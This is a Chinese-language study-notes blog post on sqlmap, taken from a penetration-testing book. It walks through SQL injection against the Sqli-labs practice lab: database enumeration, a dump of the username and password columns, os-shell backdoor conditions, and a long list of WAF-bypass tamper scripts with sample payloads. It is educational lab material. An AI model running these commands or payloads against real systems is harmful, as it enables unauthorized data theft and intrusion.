《Web安全攻防 渗透测试实战指南》学习笔记(2) - Sqlmap

如有侵权,请联系删除

Linux下安装
sudo apt install sqlmap
基本使用
sqlmap -u "www.baidu.com"

注意给网址加上双引号(虽然只传一个参数的时候可以不加)

导入HTTP请求头
sqlmap -r ~/Documents/1.txt

1. 使用-r参数来导入文本。该文本为一份完整的HTTP请求头,可以使用HTTP Header Live这款浏览器插件或者使用BurpSuite来获取
2. 该方式适用于cookie注入,http头部注入,还有POST型的注入等需要对请求头进行操作的注入,这样可以不需要在自行填写数据

基本注入流程

Sqli-labs Less-1为例(该靶场为公网IP,由本书作者提供,大家可以白嫖)

1、先测试是否存在sql注入

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1"

显示了payload,证明存在漏洞

至于这样注入不成功就要具体看提示了,如果提示你提升等级,那你就提升等级继续测试;如果提示不行,那大概率自动注入就不太行了

2、爆库

这里用了一个参数 --batch ,目的是自动执行

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --batch --dbs

成功
在这里插入图片描述
可以看见当前用户下有5个数据库,分别为:

[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

3、我们尝试对security库进行爆表

将 ‘--dbs’ 换成 ‘-D’

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --batch -D security --tables

发现有4个表
在这里插入图片描述

4、查看users中的字段

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --batch -D security -T users --columns

在这里插入图片描述

5、查看具体字段的内容

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --batch -D security -T users -C username,password --dump

--dump的意思是下载,图中也提示了输出目录,我们可以看一下
在这里插入图片描述

齐活…

进阶注入

这里将会有大量的参数出现

可以使用管道命令来查看帮助

比如查看 --batch 的详细说明

sqlmap --help | grep batch

在这里插入图片描述

–level

需要执行的测试等级

level一共分为5个等级。默认是1;当level为2时就会测试cookie注入;为3时就会进行User-Agent/Referer头部注入;等级越高,效果越好,时间也越长。

具体语句为

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --level 2

–is-dba

当前账户是否有root权限

具体语句为

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --is-dba

–referer

伪造请求头中的Referer字段

Referer字段在《图解HTTP》中的解释:

在这里插入图片描述

首部字段 Referer 会告知服务器请求的原始资源的 URI。客户端一般都会发送 Referer 首部字段给服务器。
但当直接在浏览器的地址栏输入 URI,或出于安全性的考虑时,也可以不发送该首部字段。
因为原始资源的 URI 中的查询字符串可能含有 ID 和密码等保密信息,要是写进 Referer 转发给其他服务器,则有可能导致保密信息的泄露。
另外,Referer 的正确的拼写应该是 Referrer,但不知为何,大家一直沿用这个错误的拼写。

上边说了,当level为3及以上时,sqlmap会对Referer注入进行测试,这时候我们可以使用该参数进行伪造。具体操作会在后边头部注入中讲到。

–sql-shell

在shell中执行指定的sql语句

具体语句为:

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --sql-shell

执行后可以输入sql语句,我们尝试手工注入的语句

id=-1' union select 1,2,3 -- 

在这里插入图片描述

执行成功
在这里插入图片描述

–os-cmd , --os-shell

模拟真实的shell,输入想执行的命令

另外,书中没提到--os-cmd是什么,百度也无果,我盲猜是Windwos服务器的cmd界面吧

使用条件

–os-shell 适用与MySql、PostgreSql和MsSql

但是想要使用并不是非常简单,首先需要满足3个条件:

  1. 当前用户拥有root权限。即--is-dbaTrue
  2. 攻击者需要知道网站的绝对路径
  3. php的主动转义功能关闭(我觉得进行绕过应该是可以的)

攻击过程

使用该方式,可以做到在不能执行多语句时,也可以使用INTO OUTFEILE进行写进目录(outfeile可以参考Sqli-labs Less-7),留下后门

如果是本地搭建的靶场,知道网站的绝对路径还是可以的,如果是docker中搭建或者用的别人搭好的,那基本可以告别减肥了
使用该语句并按提示操作即可

sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --sql-shell
绕WAF

原理

大概的原理就是,使用--temper参数进行sqlmap绕过脚本的使用
而官方提供了53个绕过脚本,脚本由python编写
当网站存在安全防护时,sqlmap通过引用的脚本将payload改写,再返回
由此尝试绕过

使用示例:

sqlmap xxxxx.xxx --tamper "模块名"

常用脚本

我觉得脚本倒不是很重要,重要的是学习一些sqlmap的绕过思路
我已经弟弟到,这里很多绕过方式我连听都没听过…


apostrophemask.py

适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:1 AND '1'='1
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871


base64encode.py

适用数据库:ALL
作用:替换为base64编码
使用脚本前:1' AND SLEEP(5)#
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==


multiplespaces.py

适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:1 UNION SELECT foobar
使用脚本后:1 UNION SELECT foobar


space2plus.py

适用数据库:ALL
作用:用加号替换空格
使用脚本前:SELECT id FROM users
使用脚本后:SELECT+id+FROM+users


nonrecursivereplacement.py

适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前:1 UNION SELECT 2--
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--


space2randomblank.py

适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:SELECT id FROM users
使用脚本后:SELECT%0Did%0DFROM%0Ausers


unionalltounion.py

适用数据库:ALL
作用:将union all select 替换为union select
使用脚本前:-1 UNION ALL SELECT
使用脚本后:-1 UNION SELECT


securesphere.py

适用数据库:ALL
作用:追加特定的字符串
使用脚本前:1 AND 1=1
使用脚本后:1 AND 1=1 and '0having'='0having'


space2hash.py

适用数据库:ALL
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:1 AND 9227=9227
使用脚本后:1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227


space2mssqlblank.py

适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号(’%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
使用脚本前:SELECT id FROM users
使用脚本后:SELECT%0Eid%0DFROM%07users


between.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)
使用脚本前:1 AND A > B--
使用脚本后:1 AND A NOT BETWEEN 0 AND B--


percentage.py

适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:SELECT FIELD FROM TABLE
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E


sp_password.py

适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:1 AND 9227=9227--
使用脚本后:1 AND 9227=9227-- sp_password


charencode.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:SELECT FIELD FROM%20TABLE
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45


randomcase.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:INSERT
使用脚本后:INseRt


charunicodeencode.py

适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:字符串的unicode编码
使用脚本前:SELECT FIELD%20FROM TABLE
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045


space2comment.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/* */
使用脚本前:SELECT id FROM users
使用脚本后:SELECT/**/id/**/FROM/**/users


equaltolike.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:SELECT * FROM users WHERE id=1
使用脚本后:SELECT * FROM users WHERE id LIKE 1


equaltolike.py

测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将">“替换为GREATEST,绕过对”>"的过滤
使用脚本前:1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A


ifnull2ifisnull.py

适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:IFNULL(1, 2)
使用脚本后:IF(ISNULL(1),2,1)


modsecurityversioned.py

适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:1 AND 2>1--
使用脚本后:1 /*!30874AND 2>1*/--


space2mysqlblank.py

适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
使用脚本前:SELECT id FROM users
使用脚本后:SELECT%0Bid%0DFROM%0Cusers


modsecurityzeroversioned.py

适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/!00000/)进行注入
使用脚本前:1 AND 2>1--
使用脚本后:1 /*!00000AND 2>1*/--


space2mysqldash.py

适用数据库:MySQL、MSSQL
作用:将空格替换为 – ,并追随一个换行符
使用脚本前:1 AND 9227=9227
使用脚本后:1--%0AAND--%0A9227=9227


bluecoat.py

适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:SELECT id FROM users where id = 1
使用脚本后:SELECT%09id FROM users where id LIKE 1


versionedkeywords.py

适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#


halfversionedmorekeywords.py

适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa


space2morehash.py

适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:1 AND 9227=9227
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227


apostrophenullencode.py

适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:1 AND '1'='1
使用脚本后:1 AND %00%271%00%27=%00%271


appendnullbyte.py

适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:1 AND 1=1
使用脚本后:1 AND 1=1%00


chardoubleencode.py

适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:SELECT FIELD FROM%20TABLE
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545


unmagicquotes.py

适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:1' AND 1=1
使用脚本后:1%bf%27 AND 1=1--


randomcomments.py

适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:INSERT
使用脚本后:I/**/N/**/SERT


这本书在最后说了一句:实际情况可能会很复杂,tamper不可能全面的应付各种环境,掌握tamper的编写规则才是王道。
这可能就是脱离脚本小子的前奏吧

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值